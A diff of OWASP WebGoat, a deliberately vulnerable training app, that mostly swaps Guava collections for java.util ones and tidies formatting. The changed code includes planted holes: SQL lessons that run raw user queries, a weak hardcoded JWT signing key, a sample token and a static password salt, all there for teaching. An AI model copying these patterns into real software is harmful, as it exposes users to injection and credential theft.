String accessTokenTom = "eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q";
|
String accessTokenTom = "eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q";
|
||||||
Map<String, Object> refreshJson = Maps.newHashMap();
|
Map<String, Object> refreshJson = new HashMap<>();
|
||||||
refreshJson.put("refresh_token", refreshToken);
|
refreshJson.put("refresh_token", refreshToken);
|
||||||
result = mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/newToken")
|
result = mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/newToken")
|
||||||
.contentType(MediaType.APPLICATION_JSON)
|
.contentType(MediaType.APPLICATION_JSON)
|
||||||
@ -116,9 +114,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
|
|||||||
public void flowForJerryAlwaysWorks() throws Exception {
|
public void flowForJerryAlwaysWorks() throws Exception {
|
||||||
ObjectMapper objectMapper = new ObjectMapper();
|
ObjectMapper objectMapper = new ObjectMapper();
|
||||||
|
|
||||||
Map<String, Object> loginJson = Maps.newHashMap();
|
var loginJson = Map.of("user", "Jerry", "password", PASSWORD);
|
||||||
loginJson.put("user", "Jerry");
|
|
||||||
loginJson.put("password", PASSWORD);
|
|
||||||
MvcResult result = mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login")
|
MvcResult result = mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login")
|
||||||
.contentType(MediaType.APPLICATION_JSON)
|
.contentType(MediaType.APPLICATION_JSON)
|
||||||
.content(objectMapper.writeValueAsString(loginJson)))
|
.content(objectMapper.writeValueAsString(loginJson)))
|
||||||
@ -137,9 +133,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
|
|||||||
public void loginShouldNotWorkForJerryWithWrongPassword() throws Exception {
|
public void loginShouldNotWorkForJerryWithWrongPassword() throws Exception {
|
||||||
ObjectMapper objectMapper = new ObjectMapper();
|
ObjectMapper objectMapper = new ObjectMapper();
|
||||||
|
|
||||||
Map<String, Object> loginJson = Maps.newHashMap();
|
var loginJson = Map.of("user", "Jerry", "password", PASSWORD + "wrong");
|
||||||
loginJson.put("user", "Jerry");
|
|
||||||
loginJson.put("password", PASSWORD + "wrong");
|
|
||||||
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login")
|
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login")
|
||||||
.contentType(MediaType.APPLICATION_JSON)
|
.contentType(MediaType.APPLICATION_JSON)
|
||||||
.content(objectMapper.writeValueAsString(loginJson)))
|
.content(objectMapper.writeValueAsString(loginJson)))
|
||||||
@ -150,9 +144,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
|
|||||||
public void loginShouldNotWorkForTom() throws Exception {
|
public void loginShouldNotWorkForTom() throws Exception {
|
||||||
ObjectMapper objectMapper = new ObjectMapper();
|
ObjectMapper objectMapper = new ObjectMapper();
|
||||||
|
|
||||||
Map<String, Object> loginJson = Maps.newHashMap();
|
var loginJson = Map.of("user", "Tom", "password", PASSWORD);
|
||||||
loginJson.put("user", "Tom");
|
|
||||||
loginJson.put("password", PASSWORD);
|
|
||||||
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login")
|
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login")
|
||||||
.contentType(MediaType.APPLICATION_JSON)
|
.contentType(MediaType.APPLICATION_JSON)
|
||||||
.content(objectMapper.writeValueAsString(loginJson)))
|
.content(objectMapper.writeValueAsString(loginJson)))
|
||||||
@ -162,7 +154,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
|
|||||||
@Test
|
@Test
|
||||||
public void newTokenShouldWorkForJerry() throws Exception {
|
public void newTokenShouldWorkForJerry() throws Exception {
|
||||||
ObjectMapper objectMapper = new ObjectMapper();
|
ObjectMapper objectMapper = new ObjectMapper();
|
||||||
Map<String, Object> loginJson = Maps.newHashMap();
|
Map<String, Object> loginJson = new HashMap<>();
|
||||||
loginJson.put("user", "Jerry");
|
loginJson.put("user", "Jerry");
|
||||||
loginJson.put("password", PASSWORD);
|
loginJson.put("password", PASSWORD);
|
||||||
MvcResult result = mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login")
|
MvcResult result = mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login")
|
||||||
@ -174,8 +166,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
|
|||||||
String accessToken = tokens.get("access_token");
|
String accessToken = tokens.get("access_token");
|
||||||
String refreshToken = tokens.get("refresh_token");
|
String refreshToken = tokens.get("refresh_token");
|
||||||
|
|
||||||
Map<String, Object> refreshJson = Maps.newHashMap();
|
var refreshJson = Map.of("refresh_token", refreshToken);
|
||||||
refreshJson.put("refresh_token", refreshToken);
|
|
||||||
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/newToken")
|
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/newToken")
|
||||||
.contentType(MediaType.APPLICATION_JSON)
|
.contentType(MediaType.APPLICATION_JSON)
|
||||||
.header("Authorization", "Bearer " + accessToken)
|
.header("Authorization", "Bearer " + accessToken)
|
||||||
@ -186,7 +177,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
|
|||||||
@Test
|
@Test
|
||||||
public void unknownRefreshTokenShouldGiveUnauthorized() throws Exception {
|
public void unknownRefreshTokenShouldGiveUnauthorized() throws Exception {
|
||||||
ObjectMapper objectMapper = new ObjectMapper();
|
ObjectMapper objectMapper = new ObjectMapper();
|
||||||
Map<String, Object> loginJson = Maps.newHashMap();
|
Map<String, Object> loginJson = new HashMap<>();
|
||||||
loginJson.put("user", "Jerry");
|
loginJson.put("user", "Jerry");
|
||||||
loginJson.put("password", PASSWORD);
|
loginJson.put("password", PASSWORD);
|
||||||
MvcResult result = mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login")
|
MvcResult result = mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login")
|
||||||
@ -197,8 +188,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
|
|||||||
Map<String, String> tokens = objectMapper.readValue(result.getResponse().getContentAsString(), Map.class);
|
Map<String, String> tokens = objectMapper.readValue(result.getResponse().getContentAsString(), Map.class);
|
||||||
String accessToken = tokens.get("access_token");
|
String accessToken = tokens.get("access_token");
|
||||||
|
|
||||||
Map<String, Object> refreshJson = Maps.newHashMap();
|
var refreshJson = Map.of("refresh_token", "wrong_refresh_token");
|
||||||
refreshJson.put("refresh_token", "wrong_refresh_token");
|
|
||||||
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/newToken")
|
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/newToken")
|
||||||
.contentType(MediaType.APPLICATION_JSON)
|
.contentType(MediaType.APPLICATION_JSON)
|
||||||
.header("Authorization", "Bearer " + accessToken)
|
.header("Authorization", "Bearer " + accessToken)
|
||||||
|
@ -22,16 +22,12 @@
|
|||||||
|
|
||||||
package org.owasp.webgoat.jwt;
|
package org.owasp.webgoat.jwt;
|
||||||
|
|
||||||
import com.google.common.base.Charsets;
|
|
||||||
import com.google.common.collect.Maps;
|
|
||||||
import io.jsonwebtoken.*;
|
import io.jsonwebtoken.*;
|
||||||
import io.jsonwebtoken.impl.TextCodec;
|
import io.jsonwebtoken.impl.TextCodec;
|
||||||
import org.junit.Test;
|
import org.junit.Test;
|
||||||
|
|
||||||
import java.time.Duration;
|
import java.time.Duration;
|
||||||
import java.time.Instant;
|
import java.time.Instant;
|
||||||
import java.time.LocalDateTime;
|
|
||||||
import java.time.Period;
|
|
||||||
import java.util.Date;
|
import java.util.Date;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
import java.util.concurrent.TimeUnit;
|
import java.util.concurrent.TimeUnit;
|
||||||
@ -41,10 +37,7 @@ public class TokenTest {
|
|||||||
@Test
|
@Test
|
||||||
public void test() {
|
public void test() {
|
||||||
String key = "qwertyqwerty1234";
|
String key = "qwertyqwerty1234";
|
||||||
Map<String, Object> claims = Maps.newHashMap();
|
Map<String, Object> claims = Map.of("username", "Jerry", "aud", "webgoat.org", "email", "jerry@webgoat.com");
|
||||||
claims.put("username", "Jerry");
|
|
||||||
claims.put("aud", "webgoat.org");
|
|
||||||
claims.put("email", "jerry@webgoat.com");
|
|
||||||
String token = Jwts.builder()
|
String token = Jwts.builder()
|
||||||
.setHeaderParam("kid", "webgoat_key")
|
.setHeaderParam("kid", "webgoat_key")
|
||||||
.setIssuedAt(new Date(System.currentTimeMillis() + TimeUnit.DAYS.toDays(10)))
|
.setIssuedAt(new Date(System.currentTimeMillis() + TimeUnit.DAYS.toDays(10)))
|
||||||
@ -52,7 +45,7 @@ public class TokenTest {
|
|||||||
.signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, key).compact();
|
.signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, key).compact();
|
||||||
System.out.println(token);
|
System.out.println(token);
|
||||||
Jwt jwt = Jwts.parser().setSigningKey("qwertyqwerty1234").parse(token);
|
Jwt jwt = Jwts.parser().setSigningKey("qwertyqwerty1234").parse(token);
|
||||||
jwt = Jwts.parser().setSigningKeyResolver(new SigningKeyResolverAdapter(){
|
jwt = Jwts.parser().setSigningKeyResolver(new SigningKeyResolverAdapter() {
|
||||||
@Override
|
@Override
|
||||||
public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) {
|
public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) {
|
||||||
return TextCodec.BASE64.decode(key);
|
return TextCodec.BASE64.decode(key);
|
||||||
|
@ -1,7 +1,5 @@
|
|||||||
package org.owasp.webgoat.missing_ac;
|
package org.owasp.webgoat.missing_ac;
|
||||||
|
|
||||||
|
|
||||||
import lombok.Getter;
|
|
||||||
import org.owasp.webgoat.users.WebGoatUser;
|
import org.owasp.webgoat.users.WebGoatUser;
|
||||||
import org.springframework.security.core.GrantedAuthority;
|
import org.springframework.security.core.GrantedAuthority;
|
||||||
|
|
||||||
@ -32,10 +30,8 @@ import java.util.Base64;
|
|||||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
|
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
|
||||||
* projects.
|
* projects.
|
||||||
* <p>
|
* <p>
|
||||||
*
|
|
||||||
*/
|
*/
|
||||||
|
|
||||||
|
|
||||||
public class DisplayUser {
|
public class DisplayUser {
|
||||||
//intended to provide a display version of WebGoatUser for admins to view user attributes
|
//intended to provide a display version of WebGoatUser for admins to view user attributes
|
||||||
|
|
||||||
@ -63,7 +59,7 @@ public class DisplayUser {
|
|||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
protected String genUserHash (String username, String password) throws Exception {
|
protected String genUserHash(String username, String password) throws Exception {
|
||||||
MessageDigest md = MessageDigest.getInstance("SHA-256");
|
MessageDigest md = MessageDigest.getInstance("SHA-256");
|
||||||
// salting is good, but static & too predictable ... short too for a salt
|
// salting is good, but static & too predictable ... short too for a salt
|
||||||
String salted = password + "DeliberatelyInsecure1234" + username;
|
String salted = password + "DeliberatelyInsecure1234" + username;
|
||||||
|
@ -22,23 +22,14 @@
|
|||||||
|
|
||||||
package org.owasp.webgoat.missing_ac;
|
package org.owasp.webgoat.missing_ac;
|
||||||
|
|
||||||
import com.google.common.collect.Lists;
|
|
||||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.assignments.AssignmentHints;
|
import org.owasp.webgoat.assignments.AssignmentHints;
|
||||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
|
||||||
import org.owasp.webgoat.assignments.AttackResult;
|
import org.owasp.webgoat.assignments.AttackResult;
|
||||||
import org.owasp.webgoat.session.UserSessionData;
|
import org.owasp.webgoat.session.UserSessionData;
|
||||||
import org.springframework.beans.factory.annotation.Autowired;
|
import org.springframework.beans.factory.annotation.Autowired;
|
||||||
import org.springframework.web.bind.annotation.*;
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
|
import org.springframework.web.bind.annotation.ResponseBody;
|
||||||
import javax.servlet.ServletException;
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
import javax.servlet.http.HttpServletRequest;
|
|
||||||
import javax.servlet.http.HttpServletResponse;
|
|
||||||
import java.io.IOException;
|
|
||||||
import java.util.HashMap;
|
|
||||||
import java.util.List;
|
|
||||||
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Created by jason on 1/5/17.
|
* Created by jason on 1/5/17.
|
||||||
|
@ -58,7 +58,6 @@ public class Users {
|
|||||||
|
|
||||||
if ((results != null) && (results.first() == true)) {
|
if ((results != null) && (results.first() == true)) {
|
||||||
while (results.next()) {
|
while (results.next()) {
|
||||||
int id = results.getInt(0);
|
|
||||||
HashMap<String, String> userMap = new HashMap<>();
|
HashMap<String, String> userMap = new HashMap<>();
|
||||||
userMap.put("first", results.getString(1));
|
userMap.put("first", results.getString(1));
|
||||||
userMap.put("last", results.getString(2));
|
userMap.put("last", results.getString(2));
|
||||||
@ -66,7 +65,7 @@ public class Users {
|
|||||||
userMap.put("ccType", results.getString(4));
|
userMap.put("ccType", results.getString(4));
|
||||||
userMap.put("cookie", results.getString(5));
|
userMap.put("cookie", results.getString(5));
|
||||||
userMap.put("loginCount", Integer.toString(results.getInt(6)));
|
userMap.put("loginCount", Integer.toString(results.getInt(6)));
|
||||||
allUsersMap.put(id, userMap);
|
allUsersMap.put(results.getInt(0), userMap);
|
||||||
}
|
}
|
||||||
userSessionData.setValue("allUsers", allUsersMap);
|
userSessionData.setValue("allUsers", allUsersMap);
|
||||||
return allUsersMap;
|
return allUsersMap;
|
||||||
|
@ -40,7 +40,7 @@ import java.util.Map;
|
|||||||
@RestController
|
@RestController
|
||||||
public class QuestionsAssignment extends AssignmentEndpoint {
|
public class QuestionsAssignment extends AssignmentEndpoint {
|
||||||
|
|
||||||
private final static Map<String, String> COLORS = new HashMap<>();
|
private static final Map<String, String> COLORS = new HashMap<>();
|
||||||
|
|
||||||
static {
|
static {
|
||||||
COLORS.put("admin", "green");
|
COLORS.put("admin", "green");
|
||||||
|
@ -22,8 +22,7 @@
|
|||||||
|
|
||||||
package org.owasp.webgoat.password_reset;
|
package org.owasp.webgoat.password_reset;
|
||||||
|
|
||||||
import com.google.common.collect.EvictingQueue;
|
import com.beust.jcommander.internal.Maps;
|
||||||
import com.google.common.collect.Maps;
|
|
||||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.assignments.AssignmentHints;
|
import org.owasp.webgoat.assignments.AssignmentHints;
|
||||||
import org.owasp.webgoat.assignments.AttackResult;
|
import org.owasp.webgoat.assignments.AttackResult;
|
||||||
@ -33,6 +32,9 @@ import org.springframework.validation.BindingResult;
|
|||||||
import org.springframework.web.bind.annotation.*;
|
import org.springframework.web.bind.annotation.*;
|
||||||
import org.springframework.web.servlet.ModelAndView;
|
import org.springframework.web.servlet.ModelAndView;
|
||||||
|
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.List;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@ -45,18 +47,18 @@ public class ResetLinkAssignment extends AssignmentEndpoint {
|
|||||||
|
|
||||||
static final String PASSWORD_TOM_9 = "somethingVeryRandomWhichNoOneWillEverTypeInAsPasswordForTom";
|
static final String PASSWORD_TOM_9 = "somethingVeryRandomWhichNoOneWillEverTypeInAsPasswordForTom";
|
||||||
static final String TOM_EMAIL = "tom@webgoat-cloud.org";
|
static final String TOM_EMAIL = "tom@webgoat-cloud.org";
|
||||||
static Map<String, String> userToTomResetLink = Maps.newHashMap();
|
static Map<String, String> userToTomResetLink = new HashMap<>();
|
||||||
static Map<String, String> usersToTomPassword = Maps.newHashMap();
|
static Map<String, String> usersToTomPassword = Maps.newHashMap();
|
||||||
static EvictingQueue<String> resetLinks = EvictingQueue.create(1000);
|
static List<String> resetLinks = new ArrayList<>();
|
||||||
|
|
||||||
static final String TEMPLATE = "Hi, you requested a password reset link, please use this " +
|
static final String TEMPLATE = "Hi, you requested a password reset link, please use this "
|
||||||
"<a target='_blank' href='http://%s/WebGoat/PasswordReset/reset/reset-password/%s'>link</a> to reset your password." +
|
+ "<a target='_blank' href='http://%s/WebGoat/PasswordReset/reset/reset-password/%s'>link</a> to reset your password."
|
||||||
"\n \n\n" +
|
+ "\n \n\n"
|
||||||
"If you did not request this password change you can ignore this message." +
|
+ "If you did not request this password change you can ignore this message."
|
||||||
"\n" +
|
+ "\n"
|
||||||
"If you have any comments or questions, please do not hesitate to reach us at support@webgoat-cloud.org" +
|
+ "If you have any comments or questions, please do not hesitate to reach us at support@webgoat-cloud.org"
|
||||||
"\n\n" +
|
+ "\n\n"
|
||||||
"Kind regards, \nTeam WebGoat";
|
+ "Kind regards, \nTeam WebGoat";
|
||||||
|
|
||||||
|
|
||||||
@PostMapping("/PasswordReset/reset/login")
|
@PostMapping("/PasswordReset/reset/login")
|
||||||
|
@ -22,17 +22,17 @@
|
|||||||
|
|
||||||
package org.owasp.webgoat.password_reset;
|
package org.owasp.webgoat.password_reset;
|
||||||
|
|
||||||
import com.google.common.collect.Sets;
|
|
||||||
import org.springframework.stereotype.Component;
|
import org.springframework.stereotype.Component;
|
||||||
import org.springframework.web.context.annotation.SessionScope;
|
import org.springframework.web.context.annotation.SessionScope;
|
||||||
|
|
||||||
|
import java.util.HashSet;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
|
|
||||||
@Component
|
@Component
|
||||||
@SessionScope
|
@SessionScope
|
||||||
public class TriedQuestions {
|
public class TriedQuestions {
|
||||||
|
|
||||||
private Set<String> answeredQuestions = Sets.newHashSet();
|
private Set<String> answeredQuestions = new HashSet<>();
|
||||||
|
|
||||||
public void incr(String question) {
|
public void incr(String question) {
|
||||||
answeredQuestions.add(question);
|
answeredQuestions.add(question);
|
||||||
|
@ -15,7 +15,7 @@ import javax.validation.constraints.Size;
|
|||||||
public class PasswordChangeForm {
|
public class PasswordChangeForm {
|
||||||
|
|
||||||
@NotNull
|
@NotNull
|
||||||
@Size(min=6, max=10)
|
@Size(min = 6, max = 10)
|
||||||
private String password;
|
private String password;
|
||||||
private String resetLink;
|
private String resetLink;
|
||||||
|
|
||||||
|
@ -39,36 +39,36 @@ public class SecurePasswordsAssignment extends AssignmentEndpoint {
|
|||||||
@ResponseBody
|
@ResponseBody
|
||||||
public AttackResult completed(@RequestParam String password) {
|
public AttackResult completed(@RequestParam String password) {
|
||||||
Zxcvbn zxcvbn = new Zxcvbn();
|
Zxcvbn zxcvbn = new Zxcvbn();
|
||||||
Strength strength = zxcvbn.measure(password);
|
|
||||||
StringBuffer output = new StringBuffer();
|
StringBuffer output = new StringBuffer();
|
||||||
DecimalFormat df = new DecimalFormat("0", DecimalFormatSymbols.getInstance(Locale.ENGLISH));
|
DecimalFormat df = new DecimalFormat("0", DecimalFormatSymbols.getInstance(Locale.ENGLISH));
|
||||||
df.setMaximumFractionDigits(340);
|
df.setMaximumFractionDigits(340);
|
||||||
|
Strength strength = zxcvbn.measure(password);
|
||||||
|
|
||||||
output.append("<b>Your Password: *******</b></br>");
|
output.append("<b>Your Password: *******</b></br>");
|
||||||
output.append("<b>Length: </b>" + password.length()+ "</br>");
|
output.append("<b>Length: </b>" + password.length() + "</br>");
|
||||||
output.append("<b>Estimated guesses needed to crack your password: </b>" + df.format(strength.getGuesses())+ "</br>");
|
output.append("<b>Estimated guesses needed to crack your password: </b>" + df.format(strength.getGuesses()) + "</br>");
|
||||||
output.append("<div style=\"float: left;padding-right: 10px;\"><b>Score: </b>" + strength.getScore()+ "/4 </div>");
|
output.append("<div style=\"float: left;padding-right: 10px;\"><b>Score: </b>" + strength.getScore() + "/4 </div>");
|
||||||
if(strength.getScore()<=1){
|
if (strength.getScore() <= 1) {
|
||||||
output.append("<div style=\"background-color:red;width: 200px;border-radius: 12px;float: left;\"> </div></br>");
|
output.append("<div style=\"background-color:red;width: 200px;border-radius: 12px;float: left;\"> </div></br>");
|
||||||
} else if(strength.getScore()<=3){
|
} else if (strength.getScore() <= 3) {
|
||||||
output.append("<div style=\"background-color:orange;width: 200px;border-radius: 12px;float: left;\"> </div></br>");
|
output.append("<div style=\"background-color:orange;width: 200px;border-radius: 12px;float: left;\"> </div></br>");
|
||||||
} else{
|
} else {
|
||||||
output.append("<div style=\"background-color:green;width: 200px;border-radius: 12px;float: left;\"> </div></br>");
|
output.append("<div style=\"background-color:green;width: 200px;border-radius: 12px;float: left;\"> </div></br>");
|
||||||
}
|
}
|
||||||
output.append("<b>Estimated cracking time: </b>" + calculateTime((long) strength.getCrackTimeSeconds().getOnlineNoThrottling10perSecond()));
|
output.append("<b>Estimated cracking time: </b>" + calculateTime((long) strength.getCrackTimeSeconds().getOnlineNoThrottling10perSecond()));
|
||||||
if(strength.getFeedback().getWarning().length() != 0)
|
if (strength.getFeedback().getWarning().length() != 0)
|
||||||
output.append("</br><b>Warning: </b>" + strength.getFeedback().getWarning());
|
output.append("</br><b>Warning: </b>" + strength.getFeedback().getWarning());
|
||||||
// possible feedback: https://github.com/dropbox/zxcvbn/blob/master/src/feedback.coffee
|
// possible feedback: https://github.com/dropbox/zxcvbn/blob/master/src/feedback.coffee
|
||||||
// maybe ask user to try also weak passwords to see and understand feedback?
|
// maybe ask user to try also weak passwords to see and understand feedback?
|
||||||
if(strength.getFeedback().getSuggestions().size() != 0){
|
if (strength.getFeedback().getSuggestions().size() != 0) {
|
||||||
output.append("</br><b>Suggestions:</b></br><ul>");
|
output.append("</br><b>Suggestions:</b></br><ul>");
|
||||||
for(String sug: strength.getFeedback().getSuggestions()) output.append("<li>"+sug+"</li>");
|
for (String sug : strength.getFeedback().getSuggestions()) output.append("<li>" + sug + "</li>");
|
||||||
output.append("</ul></br>");
|
output.append("</ul></br>");
|
||||||
}
|
}
|
||||||
output.append("<b>Score: </b>" + strength.getScore()+ "/5 </br>");
|
output.append("<b>Score: </b>" + strength.getScore() + "/5 </br>");
|
||||||
output.append("<b>Estimated cracking time in seconds: </b>" + calculateTime((long) strength.getCrackTimeSeconds().getOnlineNoThrottling10perSecond()));
|
output.append("<b>Estimated cracking time in seconds: </b>" + calculateTime((long) strength.getCrackTimeSeconds().getOnlineNoThrottling10perSecond()));
|
||||||
|
|
||||||
if(strength.getScore() >= 4)
|
if (strength.getScore() >= 4)
|
||||||
return trackProgress(success().feedback("securepassword-success").output(output.toString()).build());
|
return trackProgress(success().feedback("securepassword-success").output(output.toString()).build());
|
||||||
else
|
else
|
||||||
return trackProgress(failed().feedback("securepassword-failed").output(output.toString()).build());
|
return trackProgress(failed().feedback("securepassword-failed").output(output.toString()).build());
|
||||||
@ -76,16 +76,16 @@ public class SecurePasswordsAssignment extends AssignmentEndpoint {
|
|||||||
|
|
||||||
public static String calculateTime(long seconds) {
|
public static String calculateTime(long seconds) {
|
||||||
int s = 1;
|
int s = 1;
|
||||||
int min = (60*s);
|
int min = (60 * s);
|
||||||
int hr = (60*min);
|
int hr = (60 * min);
|
||||||
int d = (24*hr);
|
int d = (24 * hr);
|
||||||
int yr = (365*d);
|
int yr = (365 * d);
|
||||||
|
|
||||||
long years = seconds/(d)/365;
|
long years = seconds / (d) / 365;
|
||||||
long days = (seconds%yr)/(d);
|
long days = (seconds % yr) / (d);
|
||||||
long hours = (seconds%d)/(hr);
|
long hours = (seconds % d) / (hr);
|
||||||
long minutes = (seconds%hr)/(min);
|
long minutes = (seconds % hr) / (min);
|
||||||
long sec = (seconds%min*s);
|
long sec = (seconds % min * s);
|
||||||
|
|
||||||
return (years + " years " + days + " days " + hours + " hours " + minutes + " minutes " + sec + " seconds");
|
return (years + " years " + days + " days " + hours + " hours " + minutes + " minutes " + sec + " seconds");
|
||||||
}
|
}
|
||||||
|
@ -47,7 +47,7 @@ public class SqlInjectionQuiz extends AssignmentEndpoint {
|
|||||||
|
|
||||||
String[] givenAnswers = {question_0_solution[0], question_1_solution[0], question_2_solution[0], question_3_solution[0], question_4_solution[0]};
|
String[] givenAnswers = {question_0_solution[0], question_1_solution[0], question_2_solution[0], question_3_solution[0], question_4_solution[0]};
|
||||||
|
|
||||||
for(int i = 0; i < solutions.length; i++) {
|
for (int i = 0; i < solutions.length; i++) {
|
||||||
if (givenAnswers[i].contains(solutions[i])) {
|
if (givenAnswers[i].contains(solutions[i])) {
|
||||||
// answer correct
|
// answer correct
|
||||||
correctAnswers++;
|
correctAnswers++;
|
||||||
@ -58,7 +58,7 @@ public class SqlInjectionQuiz extends AssignmentEndpoint {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if(correctAnswers == solutions.length) {
|
if (correctAnswers == solutions.length) {
|
||||||
return trackProgress(success().build());
|
return trackProgress(success().build());
|
||||||
} else {
|
} else {
|
||||||
return trackProgress(failed().build());
|
return trackProgress(failed().build());
|
||||||
|
@ -93,8 +93,8 @@ public class SqlInjectionLesson10 extends AssignmentEndpoint {
|
|||||||
int cols = results.getMetaData().getColumnCount();
|
int cols = results.getMetaData().getColumnCount();
|
||||||
return (cols > 0);
|
return (cols > 0);
|
||||||
} catch (SQLException e) {
|
} catch (SQLException e) {
|
||||||
String error_msg = e.getMessage();
|
String errorMsg = e.getMessage();
|
||||||
if (error_msg.contains("object not found: ACCESS_LOG")) {
|
if (errorMsg.contains("object not found: ACCESS_LOG")) {
|
||||||
return false;
|
return false;
|
||||||
} else {
|
} else {
|
||||||
System.err.println(e.getMessage());
|
System.err.println(e.getMessage());
|
||||||
|
@ -57,19 +57,19 @@ public class SqlInjectionLesson3 extends AssignmentEndpoint {
|
|||||||
return injectableQuery(query);
|
return injectableQuery(query);
|
||||||
}
|
}
|
||||||
|
|
||||||
protected AttackResult injectableQuery(String _query) {
|
protected AttackResult injectableQuery(String query) {
|
||||||
try (Connection connection = dataSource.getConnection()) {
|
try (Connection connection = dataSource.getConnection()) {
|
||||||
try (Statement statement = connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY)) {
|
try (Statement statement = connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY)) {
|
||||||
Statement check_statement = connection.createStatement(TYPE_SCROLL_INSENSITIVE,
|
Statement checkStatement = connection.createStatement(TYPE_SCROLL_INSENSITIVE,
|
||||||
CONCUR_READ_ONLY);
|
CONCUR_READ_ONLY);
|
||||||
statement.executeUpdate(_query);
|
statement.executeUpdate(query);
|
||||||
ResultSet _results = check_statement.executeQuery("SELECT * FROM employees WHERE last_name='Barnett';");
|
ResultSet results = checkStatement.executeQuery("SELECT * FROM employees WHERE last_name='Barnett';");
|
||||||
StringBuffer output = new StringBuffer();
|
StringBuffer output = new StringBuffer();
|
||||||
// user completes lesson if the department of Tobi Barnett now is 'Sales'
|
// user completes lesson if the department of Tobi Barnett now is 'Sales'
|
||||||
_results.first();
|
results.first();
|
||||||
if (_results.getString("department").equals("Sales")) {
|
if (results.getString("department").equals("Sales")) {
|
||||||
output.append("<span class='feedback-positive'>" + _query + "</span>");
|
output.append("<span class='feedback-positive'>" + query + "</span>");
|
||||||
output.append(SqlInjectionLesson8.generateTable(_results));
|
output.append(SqlInjectionLesson8.generateTable(results));
|
||||||
return trackProgress(success().output(output.toString()).build());
|
return trackProgress(success().output(output.toString()).build());
|
||||||
} else {
|
} else {
|
||||||
return trackProgress(failed().output(output.toString()).build());
|
return trackProgress(failed().output(output.toString()).build());
|
||||||
|
@ -53,16 +53,16 @@ public class SqlInjectionLesson4 extends AssignmentEndpoint {
|
|||||||
return injectableQuery(query);
|
return injectableQuery(query);
|
||||||
}
|
}
|
||||||
|
|
||||||
protected AttackResult injectableQuery(String _query) {
|
protected AttackResult injectableQuery(String query) {
|
||||||
try (Connection connection = dataSource.getConnection()) {
|
try (Connection connection = dataSource.getConnection()) {
|
||||||
try (Statement statement = connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY)) {
|
try (Statement statement = connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY)) {
|
||||||
statement.executeUpdate(_query);
|
statement.executeUpdate(query);
|
||||||
connection.commit();
|
connection.commit();
|
||||||
ResultSet _results = statement.executeQuery("SELECT phone from employees;");
|
ResultSet results = statement.executeQuery("SELECT phone from employees;");
|
||||||
StringBuffer output = new StringBuffer();
|
StringBuffer output = new StringBuffer();
|
||||||
// user completes lesson if column phone exists
|
// user completes lesson if column phone exists
|
||||||
if (_results.first()) {
|
if (results.first()) {
|
||||||
output.append("<span class='feedback-positive'>" + _query + "</span>");
|
output.append("<span class='feedback-positive'>" + query + "</span>");
|
||||||
return trackProgress(success().output(output.toString()).build());
|
return trackProgress(success().output(output.toString()).build());
|
||||||
} else {
|
} else {
|
||||||
return trackProgress(failed().output(output.toString()).build());
|
return trackProgress(failed().output(output.toString()).build());
|
||||||
|
@ -22,7 +22,6 @@
|
